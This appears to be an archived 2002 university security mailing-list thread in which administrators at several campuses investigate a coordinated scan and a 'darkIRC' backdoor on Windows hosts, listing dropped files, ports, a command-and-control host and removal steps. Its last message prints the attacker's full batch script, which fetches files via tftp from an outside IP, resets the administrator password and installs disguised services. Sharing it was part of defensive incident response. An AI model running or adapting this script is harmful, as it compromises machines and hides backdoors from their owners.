> New York University                     (212) 998 - 3433
> 
> PGP Fingerprint: 8FFB FE47 6156 7BF0  B19E 462B 9DFE 51F5
    [ Part 2, "S/MIME Cryptographic Signature"  ]
    [ Application/X-PKCS7-SIGNATURE  5.8KB. ]
    [ Unable to print this part. ]


>From andy at ...2878... Thu May  2 23:42:01 2002
Date: Thu, 21 Mar 2002 17:04:00 -0500
Subject: Re: [unisog] Coordinated Scan
From: Anderson Johnston <andy at ...2878...>
To: Tracey Losco <tal1 at ...6822...>
Cc: unisog at ...695...

We've seen these before (though not this morning).  It's often hard to
tell a coordinated scan from a single scanner rotating a spoofed IP
address (unless you know that at least one of the IPs is lives in an
egress filter policy that would stop at least one of the other IPs).

On Thu, 21 Mar 2002, Tracey Losco wrote:

> Good afternoon,
>
> This morning between 7:55am and 8:55am, we were attacked on multiple
> subnets by multiple machines originating from various .edu sites.  We
> are in the process of contacting the various sites now to inform them
> of their compromised machines.
>
> Has anyone else experienced anything similar to this, this morning?
> The ports that were being scanned were port 1025.  This could be just
> a typical coordinated scan by the same individual controlling
> compromised hosts on various networks, but I wanted to check here and
> see if this is more widespread, or if anyone else has seen this type
> of scanning today or recently.
>
> Thanks in advance for any help that you can provide.
>
> Regards,
>
> --
> --------------------------------------------------------------------
> Tracey Losco
> Network Security Analyst		security at ...6823...
> ITS - Network Services
http://www.nyu.edu/its/security
> New York University			(212) 998 - 3433
>
> PGP Fingerprint: 8FFB FE47 6156 7BF0  B19E 462B 9DFE 51F5
>

------------------------------------------------------------------------------
** Andy Johnston (andy at ...2878...)          *            pager: 410-678-8949
**
** Manager of IT Security                 * PGP
key:(afj2000) 1024/F67035E1 **
** Office of Information Technology, UMBC *        5D 44 1E 2E A6 7C 91 7A
**
** 410-455-2583 (v)/410-455-1065 (f)      *        C4 66 5F D5 BA B9 F6 58
**
------------------------------------------------------------------------------


>From tal1 at ...6822... Thu May  2 23:42:01 2002
Date: Thu, 21 Mar 2002 22:07:37 -0500
Subject: Re: [unisog] Coordinated Scan
From: Tracey Losco <tal1 at ...6822...>
To: Anderson Johnston <andy at ...2878...>
Cc: unisog at ...695...

Hey there, Anderson,

Unfortunately, we've been able to confirm the coordination...I've 
already gotten responses back from the administrators with 
confirmation that their machines were compromised. :-(

I tend to agree with Morrow on the possibility that some new type of 
exploit could have been released...but the scanning on port 1025 and 
the coordination "rings a bell" with me but I can't remember the 
details or specifics of the incident...

Must be that I'm getting old and losing my memory...8-\

Thanks for the input.

Regards,

Tracey

At 5:04 PM -0500 3/21/2002, Anderson Johnston wrote:
>We've seen these before (though not this morning).  It's often hard to
>tell a coordinated scan from a single scanner rotating a spoofed IP
>address (unless you know that at least one of the IPs is lives in an
>egress filter policy that would stop at least one of the other IPs).
>
-- 
--------------------------------------------------------------------
Tracey Losco
Network Security Analyst		security at ...6823...
ITS - Network Services			http://www.nyu.edu/its/security
New York University			(212) 998 - 3433

PGP Fingerprint: 8FFB FE47 6156 7BF0  B19E 462B 9DFE 51F5


>From smrogers at ...6825... Thu May  2 23:42:01 2002
Date: Fri, 22 Mar 2002 09:15:09 -0800 (PST)
Subject: [unisog] Re: Coordinated Scan
From: Sherry M. Rogers <smrogers at ...6825...>
To: unisog at ...695...


We were one of the campuses with hosts involved in the scan Tracey
described.  Our network people blocked a couple of hosts because of what
looked like ddos activity and we were able to correlate this with odd
packets being flagged by our NIDS (bro) as excessive length ntp/port 123
traffic.

We identified 13 Windows hosts altogether.  When scanned with nmap there
were two interesting ports open - a port 99 which disappeared on
subsequent scans, and port 8888.  Connecting to port 8888 revealed that it
was running a program written by "darkIRC".

One of the departments involved sent us the following analysis. If
anyone else sees this exploit, we would really like to get more
information.  Also if you have knowledge of this darkIRC cohort - which
is new to us.  BTW, running a "darkIRC" virus scan on the box doesn't
find the files.


Analysis:

>Attached are all of the files I could find that I believe were put there
>by the hacker.  Below you will find both dates and times when the files
>where copied to the computer as well as a description of what each file
>seems to do.
>
>File creations-
>File: INDEX.dat Created on computer: 3/5/2002 8:13am Modified: 3/14/2002
9:51
>File: DDL32.exe Created on computer: 3/14/2002 8:12am
>File: VMN32.exe Created on computer: 3/14/2002 8:13am
>File: RUDL32.exe        Created on computer: 3/14/2002 8:13am
>File: DLL32NOS.exe      Created on computer: 3/14/2002 9:51am
>
>File's Action (Significance)
>File: INDEX.dat
>Taken from the web cache and seems to show dll32nos.exe being downloaded
>from http://home.earthlink.net/~robertberry/dll32nos.exe
>
>File: DDL32.exe
>Extracts (but does not launch) mirc file (and associates) named as
>temp.exe.  One of the files temp2.exe (which is a hidden file) seems to
>be used to hide the launching of temp.exe  Temp.exe listens on port 9088
>
>File: VMN32.exe
>Extract Serve-U FTP server.  The FTP server file is named lsass.exe (also
>the name of Microsofts Local Security Authority SubSystem file which is
>always running on WinNT-XP boxes and therefore might go unnoticed) and
>listens on port 43958.
>
>File: RUDL32.exe
>Creates and launches a file named sxeNN.tmp (where NN appears to be 1 or
>two randomly selected characters).  This tmp file is the darkirc client.
>
>File: DLL32NOS.exe
>Identical to DDL32.exe except that after extracting all of the files it
>launches the file temp.exe
>
>This afternoon the computer will be formatted and rebuilt so that it can
>be returned to the owner. If you have any thing for me to check on let me
>know quickly.


-------------------------------------------------------------------------
Sherry M. Rogers                 University of California, Berkeley
System & Network Security        phone (510)642-7157
-------------------------------------------------------------------------






>From miyake at ...6826... Thu May  2 23:42:01 2002
Date: Fri, 22 Mar 2002 10:10:02 -0800 (PST)
Subject: Re: [unisog] Re: Coordinated Scan
From: Jon Karl Miyake <miyake at ...6826...>
To: Sherry M. Rogers <smrogers at ...6825...>
Cc: unisog at ...695...

The "darkirc" intrusions that we encountered also had the following files
also installed.

(i copied the files over to a linux system to prod at them. as such the
slash are leaning the wrong way for a windows system.  The directory
structure is based off of the root of the c: drive.)  :)

Documents_and_Settings/All_Users/Start_Menu/Programs/Startup/rudl32.exe
Documents_and_Settings/All_Users/Start_Menu/Programs/Startup/sxe77.tmp
Documents_and_Settings/All_Users/Start_Menu/Programs/Startup/sxe7A.tmp
WINNT/system32/2XVLL.OCX
WINNT/system32/32DLL.OCX
WINNT/system32/32DLLXP.OCX
WINNT/system32/16dll.ini
WINNT/system32/ddl32.exe
WINNT/system32/rundl32.exe
WINNT/system32/vmn32.exe
WINNT/system32/TEMP.EXE
WINNT/system32/TEMP2.EXE
WINNT/system32/GATES.TXT
WINNT/system32/FSEARCH.INI
WINNT/system32/OCXU.INI
WINNT/system32/mirc.ini
WINNT/system32/TEMP.SCR
WINNT/system32/vmn32/32DLLEMU.TXT
WINNT/system32/vmn32/BARM8.GIF
WINNT/system32/vmn32/FIREDAEM.EXE
WINNT/system32/vmn32/INETSERV.EXE
WINNT/system32/vmn32/KILL.EXE
WINNT/system32/vmn32/LSASS.EXE
WINNT/system32/vmn32/PULIST.EXE
WINNT/system32/vmn32/SERVICES.EXE
WINNT/system32/vmn32/TAR.EXE
WINNT/system32/vmn32/ASP/CYGWIN1.DLL
WINNT/system32/vmn32/ASP/IR.CON
WINNT/system32/vmn32/ASP/SVHOST.EXE
WINNT/system32/vmn32/ASP/TAR.EXE
WINNT/system32/vmn32/ASPC/CYGWIN1.DLL
WINNT/system32/vmn32/ASPC/IR.CON
WINNT/system32/vmn32/ASPC/SVHOST.EXE

URL's that I came across that are writeups about similiar packages based
off of Mirc.

http://www.safersite.com/PestInfo/I/ICQPageBomb.asp
http://cert.uni-stuttgart.de/archive/incidents/2000/11/msg00027.html
http://bots.lockdowncorp.com/gtbot.html


It also seems after doing a brief look at at some of the scripts that the
compromised host talks with . . .

noreics.scieron.com (217.10.143.237)
aka. flyboy7.ukshells.co.uk

The "noreics.scieron.com" string was referenced in the following
script/config files.

/WINNT/system32/32DLLXP.OCX
/WINNT/system32/16dll.ini
/WINNT/system32/OCXU.INI


Jon Miyake

voice #: (541) 346-1635
Computing Center Room 225
University of Oregon


On Fri, 22 Mar 2002, Sherry M. Rogers wrote:

>
> We were one of the campuses with hosts involved in the scan Tracey
> described.  Our network people blocked a couple of hosts because of what
> looked like ddos activity and we were able to correlate this with odd
> packets being flagged by our NIDS (bro) as excessive length ntp/port 123
> traffic.
>
> We identified 13 Windows hosts altogether.  When scanned with nmap there
> were two interesting ports open - a port 99 which disappeared on
> subsequent scans, and port 8888.  Connecting to port 8888 revealed that
it
> was running a program written by "darkIRC".
>
> One of the departments involved sent us the following analysis. If
> anyone else sees this exploit, we would really like to get more
> information.  Also if you have knowledge of this darkIRC cohort - which
> is new to us.  BTW, running a "darkIRC" virus scan on the box doesn't
> find the files.
>
>
> Analysis:
>
> >Attached are all of the files I could find that I believe were put
there
> >by the hacker.  Below you will find both dates and times when the files
> >where copied to the computer as well as a description of what each file
> >seems to do.
> >
> >File creations-
> >File: INDEX.dat Created on computer: 3/5/2002 8:13am
Modified: 3/14/2002 9:51
> >File: DDL32.exe Created on computer: 3/14/2002 8:12am
> >File: VMN32.exe Created on computer: 3/14/2002 8:13am
> >File: RUDL32.exe        Created on computer: 3/14/2002 8:13am
> >File: DLL32NOS.exe      Created on computer: 3/14/2002 9:51am
> >
> >File's Action (Significance)
> >File: INDEX.dat
> >Taken from the web cache and seems to show dll32nos.exe being
downloaded
> >from http://home.earthlink.net/~robertberry/dll32nos.exe
> >
> >File: DDL32.exe
> >Extracts (but does not launch) mirc file (and associates) named as
> >temp.exe.  One of the files temp2.exe (which is a hidden file) seems to
> >be used to hide the launching of temp.exe  Temp.exe listens on port
9088
> >
> >File: VMN32.exe
> >Extract Serve-U FTP server.  The FTP server file is named lsass.exe
(also
> >the name of Microsofts Local Security Authority SubSystem file which is
> >always running on WinNT-XP boxes and therefore might go unnoticed) and
> >listens on port 43958.
> >
> >File: RUDL32.exe
> >Creates and launches a file named sxeNN.tmp (where NN appears to be 1
or
> >two randomly selected characters).  This tmp file is the darkirc
client.
> >
> >File: DLL32NOS.exe
> >Identical to DDL32.exe except that after extracting all of the files it
> >launches the file temp.exe
> >
> >This afternoon the computer will be formatted and rebuilt so that it
can
> >be returned to the owner. If you have any thing for me to check on let
me
> >know quickly.
>
>
>
-------------------------------------------------------------------------
> Sherry M. Rogers                 University of California, Berkeley
> System & Network Security        phone (510)642-7157
>
-------------------------------------------------------------------------
>
>
>
>
>



>From mnx at ...6827... Thu May  2 23:42:02 2002
Date: Fri, 22 Mar 2002 13:22:15 -0500
Subject: RE: [unisog] Re: Coordinated Scan
From: mnx <mnx at ...6827...>
To: Sherry M. Rogers <smrogers at ...6825...>, unisog
<unisog at ...695...>

We had 20-25 hosts affected here...still running them down and still
gathering 
information...temp.exe, temp2.exe, and temp.scr found in 
c:\winnt\system32...reg entry for temp.exe on some of the hosts

more later,
Mark Newman
University of Tennessee

>===== Original Message From "Sherry M. Rogers" 
<smrogers at ...6825...> =====
>We were one of the campuses with hosts involved in the scan Tracey
>described.  Our network people blocked a couple of hosts because of what
>looked like ddos activity and we were able to correlate this with odd
>packets being flagged by our NIDS (bro) as excessive length ntp/port 123
>traffic.
>
>We identified 13 Windows hosts altogether.  When scanned with nmap there
>were two interesting ports open - a port 99 which disappeared on
>subsequent scans, and port 8888.  Connecting to port 8888 revealed that
it
>was running a program written by "darkIRC".
>
>One of the departments involved sent us the following analysis. If
>anyone else sees this exploit, we would really like to get more
>information.  Also if you have knowledge of this darkIRC cohort - which
>is new to us.  BTW, running a "darkIRC" virus scan on the box doesn't
>find the files.
>
>
>Analysis:
>
>>Attached are all of the files I could find that I believe were put there
>>by the hacker.  Below you will find both dates and times when the files
>>where copied to the computer as well as a description of what each file
>>seems to do.
>>
>>File creations-
>>File: INDEX.dat Created on computer: 3/5/2002 8:13am Modified: 3/14/2002 
9:51
>>File: DDL32.exe Created on computer: 3/14/2002 8:12am
>>File: VMN32.exe Created on computer: 3/14/2002 8:13am
>>File: RUDL32.exe        Created on computer: 3/14/2002 8:13am
>>File: DLL32NOS.exe      Created on computer: 3/14/2002 9:51am
>>
>>File's Action (Significance)
>>File: INDEX.dat
>>Taken from the web cache and seems to show dll32nos.exe being downloaded
>>from http://home.earthlink.net/~robertberry/dll32nos.exe
>>
>>File: DDL32.exe
>>Extracts (but does not launch) mirc file (and associates) named as
>>temp.exe.  One of the files temp2.exe (which is a hidden file) seems to
>>be used to hide the launching of temp.exe  Temp.exe listens on port 9088
>>
>>File: VMN32.exe
>>Extract Serve-U FTP server.  The FTP server file is named lsass.exe
(also
>>the name of Microsofts Local Security Authority SubSystem file which is
>>always running on WinNT-XP boxes and therefore might go unnoticed) and
>>listens on port 43958.
>>
>>File: RUDL32.exe
>>Creates and launches a file named sxeNN.tmp (where NN appears to be 1 or
>>two randomly selected characters).  This tmp file is the darkirc client.
>>
>>File: DLL32NOS.exe
>>Identical to DDL32.exe except that after extracting all of the files it
>>launches the file temp.exe
>>
>>This afternoon the computer will be formatted and rebuilt so that it can
>>be returned to the owner. If you have any thing for me to check on let
me
>>know quickly.
>
>
>-------------------------------------------------------------------------
>Sherry M. Rogers                 University of California, Berkeley
>System & Network Security        phone (510)642-7157
>-------------------------------------------------------------------------



>From edz at ...6828... Thu May  2 23:42:02 2002
Date: Fri, 22 Mar 2002 12:53:13 -0600
Subject: Re: [unisog] Re: Coordinated Scan
From: Ed Zawacki <edz at ...6828...>
To: unisog at ...695...

We have also had several machines on campus hit with this. We're still
trying to determine the method of infection and would love details.

Ed Zawacki

At 09:15 AM 3/22/2002 -0800, Sherry M. Rogers wrote:

>We were one of the campuses with hosts involved in the scan Tracey
>described.  Our network people blocked a couple of hosts because of what
>looked like ddos activity and we were able to correlate this with odd
>packets being flagged by our NIDS (bro) as excessive length ntp/port 123
>traffic.
>
>We identified 13 Windows hosts altogether.  When scanned with nmap there
>were two interesting ports open - a port 99 which disappeared on
>subsequent scans, and port 8888.  Connecting to port 8888 revealed that
it
>was running a program written by "darkIRC".
>
>One of the departments involved sent us the following analysis. If
>anyone else sees this exploit, we would really like to get more
>information.  Also if you have knowledge of this darkIRC cohort - which
>is new to us.  BTW, running a "darkIRC" virus scan on the box doesn't
>find the files.
>
>
>Analysis:
>
> >Attached are all of the files I could find that I believe were put
there
> >by the hacker.  Below you will find both dates and times when the files
> >where copied to the computer as well as a description of what each file
> >seems to do.
> >
> >File creations-
> >File: INDEX.dat Created on computer: 3/5/2002 8:13am
Modified: 3/14/2002 
> 9:51
> >File: DDL32.exe Created on computer: 3/14/2002 8:12am
> >File: VMN32.exe Created on computer: 3/14/2002 8:13am
> >File: RUDL32.exe        Created on computer: 3/14/2002 8:13am
> >File: DLL32NOS.exe      Created on computer: 3/14/2002 9:51am
> >
> >File's Action (Significance)
> >File: INDEX.dat
> >Taken from the web cache and seems to show dll32nos.exe being
downloaded
> >from http://home.earthlink.net/~robertberry/dll32nos.exe
> >
> >File: DDL32.exe
> >Extracts (but does not launch) mirc file (and associates) named as
> >temp.exe.  One of the files temp2.exe (which is a hidden file) seems to
> >be used to hide the launching of temp.exe  Temp.exe listens on port
9088
> >
> >File: VMN32.exe
> >Extract Serve-U FTP server.  The FTP server file is named lsass.exe
(also
> >the name of Microsofts Local Security Authority SubSystem file which is
> >always running on WinNT-XP boxes and therefore might go unnoticed) and
> >listens on port 43958.
> >
> >File: RUDL32.exe
> >Creates and launches a file named sxeNN.tmp (where NN appears to be 1
or
> >two randomly selected characters).  This tmp file is the darkirc
client.
> >
> >File: DLL32NOS.exe
> >Identical to DDL32.exe except that after extracting all of the files it
> >launches the file temp.exe
> >
> >This afternoon the computer will be formatted and rebuilt so that it
can
> >be returned to the owner. If you have any thing for me to check on let
me
> >know quickly.
>
>
>-------------------------------------------------------------------------
>Sherry M. Rogers                 University of California, Berkeley
>System & Network Security        phone (510)642-7157
>-------------------------------------------------------------------------

-------------------------------------------------------------------------------------------------------------------------------
Edward Zawacki                                  University of Illinois at 
Chicago
Security Officer                                        (312) 996-0658
ACCC


>From andy at ...2878... Thu May  2 23:42:02 2002
Date: Fri, 22 Mar 2002 15:30:57 -0500
Subject: Re: [unisog] Re: Coordinated Scan
From: Anderson Johnston <andy at ...2878...>
To: Sherry M. Rogers <smrogers at ...6825...>
Cc: unisog at ...695...

On Fri, 22 Mar 2002, Sherry M. Rogers wrote:

>
> We were one of the campuses with hosts involved in the scan Tracey
> described.  Our network people blocked a couple of hosts because of what
> looked like ddos activity and we were able to correlate this with odd
> packets being flagged by our NIDS (bro) as excessive length ntp/port 123
> traffic.
>
> We identified 13 Windows hosts altogether.  When scanned with nmap there
> were two interesting ports open - a port 99 which disappeared on
> subsequent scans, and port 8888.  Connecting to port 8888 revealed that
it
> was running a program written by "darkIRC".
>

8888/tcp or 8888/udp?

					- andy

------------------------------------------------------------------------------
** Andy Johnston (andy at ...2878...)          *            pager: 410-678-8949
**
** Manager of IT Security                 * PGP
key:(afj2000) 1024/F67035E1 **
** Office of Information Technology, UMBC *        5D 44 1E 2E A6 7C 91 7A
**
** 410-455-2583 (v)/410-455-1065 (f)      *        C4 66 5F D5 BA B9 F6 58
**
------------------------------------------------------------------------------


>From smrogers at ...6825... Thu May  2 23:42:02 2002
Date: Fri, 22 Mar 2002 13:19:15 -0800 (PST)
Subject: Re: [unisog] Re: Coordinated Scan
From: Sherry M. Rogers <smrogers at ...6825...>
To: Anderson Johnston <andy at ...2878...>
Cc: unisog at ...695...

On Fri, 22 Mar 2002, Anderson Johnston wrote:

> 8888/tcp or 8888/udp?

8888/tcp and a 99/tcp which the primary person here working on this
thinks may be Hidden_port.zip, which is known to run on port 99/tcp -
since it disappeared from the later nmap scans.

-------------------------------------------------------------------------
Sherry M. Rogers                 University of California, Berkeley
System & Network Security        phone (510)642-7157
-------------------------------------------------------------------------



>From andy at ...2878... Thu May  2 23:42:02 2002
Date: Fri, 22 Mar 2002 17:53:54 -0500
Subject: Re: [unisog] Re: Coordinated Scan
From: Anderson Johnston <andy at ...2878...>
To: Sherry M. Rogers <smrogers at ...6825...>
Cc: unisog at ...695...

On Fri, 22 Mar 2002, Sherry M. Rogers wrote:

> On Fri, 22 Mar 2002, Anderson Johnston wrote:
>
> > 8888/tcp or 8888/udp?
>
> 8888/tcp and a 99/tcp which the primary person here working on this
> thinks may be Hidden_port.zip, which is known to run on port 99/tcp -
> since it disappeared from the later nmap scans.
>
>
-------------------------------------------------------------------------
> Sherry M. Rogers                 University of California, Berkeley
> System & Network Security        phone (510)642-7157
>
-------------------------------------------------------------------------
>
>

Thanks, I'll run a scan this evening.  I'll post if anything comes up.

						- andy

------------------------------------------------------------------------------
** Andy Johnston (andy at ...2878...)          *            pager: 410-678-8949
**
** Manager of IT Security                 * PGP
key:(afj2000) 1024/F67035E1 **
** Office of Information Technology, UMBC *        5D 44 1E 2E A6 7C 91 7A
**
** 410-455-2583 (v)/410-455-1065 (f)      *        C4 66 5F D5 BA B9 F6 58
**
------------------------------------------------------------------------------


>From flynngn at ...6811... Thu May  2 23:42:02 2002
Date: Fri, 22 Mar 2002 21:08:46 -0500
Subject: Re: [unisog] Re: Coordinated Scan
From: Gary Flynn <flynngn at ...6811...>
To: unisog at ...695...

"Sherry M. Rogers" wrote:
> 
> We identified 13 Windows hosts altogether.  When scanned with nmap there
> were two interesting ports open - a port 99 which disappeared on
> subsequent scans, and port 8888.  Connecting to port 8888 revealed that
it
> was running a program written by "darkIRC".

Quick scan of campus got a hit here on one student Windows box with 
8888-darkIRC. Is this the same beast as what is described here:

http://www.tlsecurity.net/cgi-bin/readme.pl?DarkIrc.Readme.txt
http://securityresponse.symantec.com/avcenter/venc/data/backdoor.darkirc.html

-- 
Gary Flynn
Security Engineer - Technical Services
James Madison University

Please R.U.N.S.A.F.E.
http://www.jmu.edu/computing/runsafe


>From edz at ...6828... Thu May  2 23:42:02 2002
Date: Mon, 25 Mar 2002 09:28:24 -0600
Subject: Re: [unisog] Re: Coordinated Scan
From: Ed Zawacki <edz at ...6828...>
To: unisog at ...695...

At 03:30 PM 3/22/2002 -0500, Anderson Johnston wrote:
>On Fri, 22 Mar 2002, Sherry M. Rogers wrote:
>
> >
> > We were one of the campuses with hosts involved in the scan Tracey
> > described.  Our network people blocked a couple of hosts because of
what
> > looked like ddos activity and we were able to correlate this with odd
> > packets being flagged by our NIDS (bro) as excessive length ntp/port
123
> > traffic.
> >
> > We identified 13 Windows hosts altogether.  When scanned with nmap
there
> > were two interesting ports open - a port 99 which disappeared on
> > subsequent scans, and port 8888.  Connecting to port 8888 revealed
that it
> > was running a program written by "darkIRC".
> >


I just checked one of our infected systems. Port 99 is a command shell
that
closes after use.

edz

-------------------------------------------------------------------------------------------------------------------------------
Edward Zawacki                                  University of Illinois at 
Chicago
Security Officer                                        (312) 996-0658
ACCC


>From andy at ...2878... Thu May  2 23:42:02 2002
Date: Mon, 25 Mar 2002 13:14:42 -0500
Subject: Re: [unisog] Re: Coordinated Scan
From: Anderson Johnston <andy at ...2878...>
To: Sherry M. Rogers <smrogers at ...6825...>
Cc: unisog at ...695...


According to nmap, we've got about a dozen MS systems on campus with
8888/tcp open ( also a few Solaris systems, probably running Answerbook).

None of them are in places I can reach before Wednesday (campus is closed
till then).  I'm watching for traffic to/from them in the meantime.

				- andy


On Fri, 22 Mar 2002, Anderson Johnston wrote:

>
> Thanks, I'll run a scan this evening.  I'll post if anything comes up.
>
>

------------------------------------------------------------------------------
** Andy Johnston (andy at ...2878...)          *            pager: 410-678-8949
**
** Manager of IT Security                 * PGP
key:(afj2000) 1024/F67035E1 **
** Office of Information Technology, UMBC *        5D 44 1E 2E A6 7C 91 7A
**
** 410-455-2583 (v)/410-455-1065 (f)      *        C4 66 5F D5 BA B9 F6 58
**
------------------------------------------------------------------------------


>From flynngn at ...6811... Thu May  2 23:42:02 2002
Date: Mon, 25 Mar 2002 14:23:28 -0500
Subject: Re: [unisog] Re: Coordinated Scan
From: Gary Flynn <flynngn at ...6811...>
To: unisog at ...695...

Anderson Johnston wrote:
> 
> According to nmap, we've got about a dozen MS systems on campus with
> 8888/tcp open ( also a few Solaris systems, probably running
Answerbook).

I found several that were running web servers on that port but
only one with DarkIRC.

-- 
Gary Flynn
Security Engineer - Technical Services
James Madison University

Please R.U.N.S.A.F.E.
http://www.jmu.edu/computing/runsafe


>From andy at ...2878... Thu May  2 23:42:02 2002
Date: Mon, 25 Mar 2002 17:49:17 -0500
Subject: Re: [unisog] Re: Coordinated Scan
From: Anderson Johnston <andy at ...2878...>
To: Gary Flynn <flynngn at ...6811...>
Cc: unisog at ...695...

Just to check, you connect to 8888/tcp and it responds with the DarkIRC
tag?
				- andy

On Mon, 25 Mar 2002, Gary Flynn wrote:

> Anderson Johnston wrote:
> >
> > According to nmap, we've got about a dozen MS systems on campus with
> > 8888/tcp open ( also a few Solaris systems, probably running
Answerbook).
>
> I found several that were running web servers on that port but
> only one with DarkIRC.
>
> --
> Gary Flynn
> Security Engineer - Technical Services
> James Madison University
>
> Please R.U.N.S.A.F.E.
> http://www.jmu.edu/computing/runsafe
>

------------------------------------------------------------------------------
** Andy Johnston (andy at ...2878...)          *            pager: 410-678-8949
**
** Manager of IT Security                 * PGP
key:(afj2000) 1024/F67035E1 **
** Office of Information Technology, UMBC *        5D 44 1E 2E A6 7C 91 7A
**
** 410-455-2583 (v)/410-455-1065 (f)      *        C4 66 5F D5 BA B9 F6 58
**
------------------------------------------------------------------------------


>From allen at ...6829... Thu May  2 23:42:02 2002
Date: Thu, 28 Mar 2002 13:55:04 -0800 (PST)
Subject: [unisog] Re: Coordinated Scan
From: Allen Chang <allen at ...6829...>
To: unisog at ...695...
Cc: security at ...6829...

Apologies if I break the thread...

Here's my analysis of the compromised computers. First of all, this is not
the Backdoor.darkIRC detected by antivirus programs. This backdoor is not
detected by the latest NAV patterns.

I'm guessing that these computer were compromised through the
administrative share with no administrator password on Windows 2000.

*A rouge lsass.exe (with a red u and a smaller green d icon) was installed
as a
service using firedaemon.exe (or firedaem.exe). You can check for it under
Administrative Tools -> Services. The one on our hosts was called ms32dll
*Several .tmp files and a rudl32.exe are dropped in the Startup folder but
the .tmp  files don't seem to run.
*Serve-U FTP, IRC and telnet servers are run on various ports. The IRC
configurations(ir.con) seem to indicate that they are set up as XDCC
file-serving bots.

Judging from this, one should be able to remove the service with a
"firedaemon -u ms32dll" This seems to close all the opened ports but I am
unsure as to what other damage may have been done.

On all the hosts, nmap found the following ports open:
Port       State       Service
132/tcp    open        cisco-sys <--tlntsvr.exe (telnet)
135/tcp    open        loc-srv <--svchost.exe
139/tcp    open        netbios-ssn <--NetBIOS sharing (normal)
445/tcp    open        microsoft-ds <-Windows sharing (kind of normal)
1025/tcp   open        listen <--mstask.exe (normal)
8888/tcp   open        sun-answerbook <-- sxe5.tmp (backdoor client)

Running Vision 1.0 (www.foundstone.com) on the compromised computers
yielded these additional ports and programs bound to them:
1029/tcp  <-- sxe5.tmp
1031/tcp <-- sxe5.tmp
43958/tcp <--c:\winnt\system32\vmn32\lsass.exe <-not to be confused with
the other lsass.exe from MS
3112/tcp <-- c:\winnt\system32\vmn32\lsass.exe

According to vmn\ServUStartUpLog.txt (Not confirmed)
3112 <-- ftp

Hidden? (Never seen by me)
99/tcp <-- Backdoor command shell?

(**Files Found**)
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
rudl32.exe
sxe3.tmp
sxe4.tmp
sxe5.tmp

Other files mentioned at
http://www.theorygroup.com/Archive/Unisog/2002/msg00334.html

@llen
Network Security
Office of Residential Computing
UC Berkeley


>From jeff01 at ...6830... Thu May  2 23:42:02 2002
Date: Mon, 01 Apr 2002 09:48:28 -0500
Subject: Re: [unisog] Re: Coordinated Scan
From: Jeff Bollinger <jeff01 at ...6830...>
To: Allen Chang <allen at ...6829...>
Cc: unisog at ...695..., security at ...6829...

More on this attack.  Here is the actual .bat file used by the attacker 
which gives some great clues:

----

@echo off
c:
cd c:\winnt\system32\vmn32
mkdir \RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000
attrib +s +r +h \RECYCLER\S-1-5-21-2686636377-1107193052-384560437-1000
kill sxe*
kill temp.exe
del ..\2*.ocx
del ..\32*.ocx
del ..\temp2.exe
PATH=%PATH%;c:\winnt\system32
move firedaem.exe firedaemon.exe
del c:\winnt\system32\vmn32.exe
attrib *.* -r /s
attrib +s +h +r c:\winnt\system32\vmn32
attrib c:\winnt\system32\vmn32\asp +s +h
attrib c:\winnt\system32\vmn32\aspc +s +h
tftp -i 12.233.26.173 GET ir2.conf c:\winnt\system32\vmn32\asp\ir.conf
tftp -i 12.233.26.173 GET xir.conf c:\winnt\system32\vmn32\aspc\ir.conf
tftp -i 12.233.26.173 GET barm8.gif c:\winnt\system32\vmn32\barm8.gif
attrib *.* -r /s
net user administrator changem
net share /delete ipc$
SET MXHOME=c:\winnt\system32\vmn32
SET MXBIN=c:\winnt\system32\vmn32
c:\winnt\system32\vmn32\firedaemon -i Ms32dll "c:\winnt\system32\vmn32"
"c:\winnt\system32\vmn32\lsass.exe" "c:\winnt\system32\vmn32\barm8.gif" Y
0
0 Y Y
c:\winnt\system32\vmn32\firedaemon -i SVHOST "c:\winnt\system32\vmn32\asp"
"c:\winnt\system32\vmn32\asp\SVHOST.EXE"
"c:\winnt\system32\vmn32\asp\ir.conf" Y 0 0 Y Y
c:\winnt\system32\vmn32\firedaemon -i MSVC5
"c:\winnt\system32\vmn32\aspc"
"c:\winnt\system32\vmn32\aspc\SVHOST.EXE"
"c:\winnt\system32\vmn32\aspc\ir.conf" Y 0 0 Y Y
c:\winnt\system32\vmn32\services start Ms32dll
c:\winnt\system32\vmn32\services start SVHOST
c:\winnt\system32\vmn32\services start MSVC5
echo REGEDIT4  1>>root.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\] >>
root.reg
echo "restrictanonymous"="1" >> root.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\] >> root.reg
echo "NTLM"="2" >> root.reg
regedit /S root.reg
del root.reg
services stop tlntsvr
services delete tlntsvr
services stop lmhosts
services start lmhosts
services start NtLmSsp
services stop PSEXESVC
services delete PSEXESVC



Allen Chang wrote:

> Apologies if I break the thread...
> 
> Here's my analysis of the compromised computers. First of all, this is
not
> the Backdoor.darkIRC detected by antivirus programs. This backdoor is
not
> detected by the latest NAV patterns.
> 
> I'm guessing that these computer were compromised through the
> administrative share with no administrator password on Windows 2000.
> 
> *A rouge lsass.exe (with a red u and a smaller green d icon) was
installed as a
> service using firedaemon.exe (or firedaem.exe). You can check for it
under
> Administrative Tools -> Services. The one on our hosts was called
ms32dll
> *Several .tmp files and a rudl32.exe are dropped in the Startup folder
but
> the .tmp  files don't seem to run.
> *Serve-U FTP, IRC and telnet servers are run on various ports. The IRC
> configurations(ir.con) seem to indicate that they are set up as XDCC
> file-serving bots.
> 
> Judging from this, one should be able to remove the service with a
> "firedaemon -u ms32dll" This seems to close all the opened ports but I
am
> unsure as to what other damage may have been done.
> 
> On all the hosts, nmap found the following ports open:
> Port       State       Service
> 132/tcp    open        cisco-sys <--tlntsvr.exe (telnet)
> 135/tcp    open        loc-srv <--svchost.exe
> 139/tcp    open        netbios-ssn <--NetBIOS sharing (normal)
> 445/tcp    open        microsoft-ds <-Windows sharing (kind of normal)
> 1025/tcp   open        listen <--mstask.exe (normal)
> 8888/tcp   open        sun-answerbook <-- sxe5.tmp (backdoor client)
> 
> Running Vision 1.0 (www.foundstone.com) on the compromised computers
> yielded these additional ports and programs bound to them:
> 1029/tcp  <-- sxe5.tmp
> 1031/tcp <-- sxe5.tmp
> 43958/tcp <--c:\winnt\system32\vmn32\lsass.exe <-not to be confused with
> the other lsass.exe from MS
> 3112/tcp <-- c:\winnt\system32\vmn32\lsass.exe
> 
> According to vmn\ServUStartUpLog.txt (Not confirmed)
> 3112 <-- ftp
> 
